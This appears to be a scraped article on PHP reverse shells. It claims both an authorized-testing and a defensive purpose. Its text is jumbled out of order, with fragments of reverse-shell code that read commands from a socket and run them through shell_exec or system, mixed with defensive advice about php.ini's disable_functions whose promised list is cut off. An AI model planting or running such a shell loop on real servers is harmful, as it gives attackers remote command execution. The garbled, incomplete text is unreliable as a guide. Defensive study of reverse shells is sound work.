while (true) $cmd = fgets($sock); if ($cmd) $output = shell_exec($cmd); fwrite($sock, $output); sleep(2); // Polite interrupt
This article serves a dual purpose. First, we will explore what a PHP reverse shell is, how it works, and provide technical examples for authorized security testing. Second, and more importantly, we will arm system administrators and developers with the knowledge to detect, prevent, and defend against these attacks. Reverse Shell Php
else fwrite($sock, "No command execution functions available"); while (true) $cmd = fgets($sock); if ($cmd) $output
// Try every command execution method if (function_exists('shell_exec')) while ($cmd = fgets($sock)) fwrite($sock, shell_exec($cmd) . "\n"); "No command execution functions available")
If you manage a PHP application (WordPress, custom framework, Laravel, etc.), reverse shells are a top-tier risk. Here is your defensive playbook. 1. Disable Dangerous PHP Functions (The #1 Solution) Edit your php.ini file and use the disable_functions directive. A modern secure configuration should include:
if (is_resource($process)) proc_close($process);
elseif (function_exists('system')) while ($cmd = fgets($sock)) ob_start(); system($cmd); fwrite($sock, ob_get_clean() . "\n");